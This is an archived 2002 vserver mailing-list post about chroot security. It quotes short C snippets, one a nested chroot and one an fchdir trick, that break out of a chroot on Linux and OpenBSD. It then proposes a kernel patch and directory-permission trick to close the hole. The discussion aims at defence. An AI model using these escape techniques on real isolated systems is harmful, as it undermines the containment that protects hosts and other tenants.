re: vserver and chroot's

About this list Date view Thread view Subject view Author view Attachment view

From: Jacques Gelinas (jack_at_solucorp.qc.ca)
Date: Thu Jan 24 2002 - 00:34:45 EST


On Wed, 23 Jan 2002 22:07:25 -0500, Martin Josefsson wrote

I am posting this message since it may be of interest. At the end
you will find one idea I have to plug the chroot flaw.

> I've been playing with vserver a little here and started thinking about
> chroot's and ended up trying to write code to break out of them.
>
> This code can break out of an chroot in Linux kernel 2.4.18-pre3-ac2:
>
> chroot("/tmp");
> chdir("/");
>
> mkdir("blabber", 0755);
> chroot("blabber");
>
> chdir("../bin");
>
> n = scandir("./", &blah, NULL, 0);
>
> It's the "leaving cwd behind fsroot" that you describe on the FAQ. So What
> I'm saying is that it still works.

Indeed, my own escaperoot.cc program is kind of fooling the kernel
by doing many chdir(".."). All those chroot escape trick have to do
those chdir until they hit the real root. Then they do chroot (".") and
they get back the original root.

My own escaperoot was simply doing many chdir("..") hoping to hit the real
root. This was confusing the whole thing.

> I tested the same code on OpenBSD and there it doesn't work. I believe the
> reason for this is that OpenBSD sets cwd = fsroot when chroot() is called.
> If I change the code to this:

Someone told me the forcing the chdir right in the chroot system call
was breaking posix compatibility and it was bad. There is apparently
a big thread on linux kernel mailing list about this. I have not seen it
but I was told that the end argument was that fixing chroot was a big
can of worm...

> chroot("/tmp");
> chdir("/");
>
> mkdir("blabber", 0755);
> chroot("blabber");
> chdir("/");
> chdir("../bin");
>
> n = scandir("./", &blah, NULL, 0);
>
> Which is the same thing OpenBSD does then I can't list the contents of
> /bin on Linux either.

Yes this simple fix in the kernel would plug one attack.

> Now over to using fchdir():
>
> chroot("/tmp");
> chdir("/");
>
> mkdir("blabber", 0755);
> fd = open (".", O_RDONLY);
> chroot("blabber");
> chdir("/");
> fchdir(fd);
>
> chdir("../bin");
>
> n = scandir("./", &blah, NULL, 0);
>
> This manages to break out of the chroot on both Linux and OpenBSD but not
> on FreeBSD. (on FreeBSD I'm still in /tmp after the chdir("../bin"))

I really would like to see how it is done in freebsd. I have tought of various
ways to make chrooted environment reliable.

        Invalidating open directory handle ?

and all my ideas were either complex to implement or would slow the
kernel.

> But it doesn't work when run in an vserver, I havn't looked at the code
> yet but I assume that CAP_SYS_ADMIN or something similar is needed to be
> able to really execute a chroot() call.

chroot is controlled by CAP_CHROOT. A little modified escaperoot does work
in a vserver (as of kernel ctx-5).

> I thought this might be interesting to you and maybe you should update the
> FAQ to say that allowing root to execute chroot() inside a chroot() is
> unsecure on both Linux and OpenBSD but appears to be safe on FreeBSD.

I came to the conclusion that chroot itself was difficult to fix. So I introduce
a different mechanism. This is a one liner in the kernel. Very very simple.
A little weird maybe.

The idea is to create a dead zone in the directory /vservers. The only
way to escape from a chrooted vserver is to use relative access. Absolute
path will bring you nowhere. Well, it will bring you in the new root you
have set to hide yourself. So you have to use .. and ../...

Using .. will bring you in /vservers. Since all vservers are installed in a
directory called /vservers, putting some magic in this directory preventing
access from a vserver process is all we need to lock them inside their
own chrooted directory.

Here is the trick

        chmod 000 /vservers

A directory with permission 000 is not usable by anyone. Well, anyone except
root. root has the CAP_DAC_OVERIDE capability. It means that root can do
whatever it wants and the permissions and ownership bit are irrelevant.

A directory with permission bit 000 is not common. Even for root, it is weird.
So I am using this to create the dead zone. In the file /usr/src/linux/fs/namei.c
I have changed the function vfs_permission like this

int vfs_permission(struct inode * inode, int mask)
{
        umode_t mode = inode->i_mode;

        /*
                A dir with permission bit all 0s is a dead zone for
                process running in a vserver. By doing
                        chmod 000 /vservers
                you fix the "escape from chroot" bug.
        */
        if ((mode & 0777) == 0 && current->s_context != 0) return -EACCES;

I just put a if. So if the permissions bit are 000 and you are not in
security context 0, you can't access. Root or not.

Using this simple fix, a vserver can't be escaped.

I like this solution because it is very very simple. Should not impact
performance either.

I don't like this solution because you have to do something to get it right.
I mean, you have to do the "chmod 000 vservers". No big deal at first. I can
change the /usr/sbin/vserver script to fix the directory on the fly. So far
so good. But people may start to move vservers around because they
need some disk sapce. They will do

        ln -s /drive2/dir1/xx /vservers/xx

Now /drive2/dir1 has to be turned into a dead zone. No big deal again, instead
of doing

        chmod 000 /vservers

when I start a vserver, I can do

        chmod 000 /vservers/xx/..

Comments more than welcome!

PS: Another solution would be to hide the .. directory in a directory
     which is a root directory. Not sure how to do this without hacking
     the various file systems around.

---------------------------------------------------------
Jacques Gelinas <jack_at_solucorp.qc.ca>
vserver: run general purpose virtual servers on one box, full speed!
http://www.solucorp.qc.ca/miscprj/s_context.hc


About this list Date view Thread view Subject view Author view Attachment view

This archive was generated by hypermail 2.1.4 : Mon Aug 19 2002 - 12:01:00 EDT